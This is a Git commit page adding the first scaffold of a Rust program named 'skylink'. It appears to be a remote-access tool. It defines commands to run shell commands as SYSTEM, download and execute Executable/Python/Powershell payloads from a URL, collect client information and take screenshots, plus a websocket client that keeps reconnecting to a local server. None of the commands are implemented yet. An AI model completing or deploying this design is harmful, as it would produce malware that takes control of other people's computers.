init: basic foundation
This commit is contained in:
commit
df22b0bd5e
10 changed files with 231 additions and 0 deletions
28
src/lib.rs
Normal file
28
src/lib.rs
Normal file
|
|
@ -0,0 +1,28 @@
|
|||
use serde::{Deserialize, Serialize};
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum PayloadType {
|
||||
Executable,
|
||||
Python,
|
||||
Powershell,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub struct DnxParams<'a> {
|
||||
pub url: &'a str,
|
||||
pub name: &'a str,
|
||||
pub args: &'a str,
|
||||
pub run_as_system: bool,
|
||||
pub file_type: PayloadType,
|
||||
}
|
||||
|
||||
#[derive(Deserialize, Serialize)]
|
||||
pub enum Command<'a> {
|
||||
RunCMD { command: &'a str },
|
||||
URunCMD { command: &'a str },
|
||||
RunExe { path: &'a str, args: &'a str },
|
||||
URunExe { path: &'a str, args: &'a str },
|
||||
ClientInfo,
|
||||
Dnx { params: DnxParams<'a> },
|
||||
Screenshot,
|
||||
}
|
||||
49
src/main.rs
Normal file
49
src/main.rs
Normal file
|
|
@ -0,0 +1,49 @@
|
|||
use futures_util::stream::StreamExt;
|
||||
use skylink::{Command, DnxParams, PayloadType};
|
||||
|
||||
// Some parts of this function were generated by an LLM. I'm taking note of this in case a
|
||||
// weird barely detectable bug pops up, as LLMs tend to generate.
|
||||
async fn websocket_handler() {
|
||||
use std::time::Duration;
|
||||
use tokio_tungstenite::connect_async;
|
||||
use tokio_tungstenite::tungstenite::protocol::Message;
|
||||
|
||||
let url = "ws://127.0.0.1:8080";
|
||||
loop {
|
||||
match connect_async(url).await {
|
||||
Ok(ws_stream_tuple) => {
|
||||
println!("[i] Connected via websocket."); // TODO Use logger over println
|
||||
let (mut ws_stream, _) = ws_stream_tuple;
|
||||
while let Some(msg) = ws_stream.next().await {
|
||||
match msg {
|
||||
Ok(Message::Text(text)) => {
|
||||
println!("{}", &text);
|
||||
}
|
||||
Ok(Message::Close(_)) => {
|
||||
println!("[i] Disconnected.");
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("Error receiving message: {:?}", e);
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
// Ignore other message types
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[e] Failed to connect: {:?}", e); // TODO logger > println
|
||||
}
|
||||
}
|
||||
println!("[i] Connection lost, reconnecting in 5 seconds...");
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> anyhow::Result<()> {
|
||||
websocket_handler().await;
|
||||
Ok(())
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue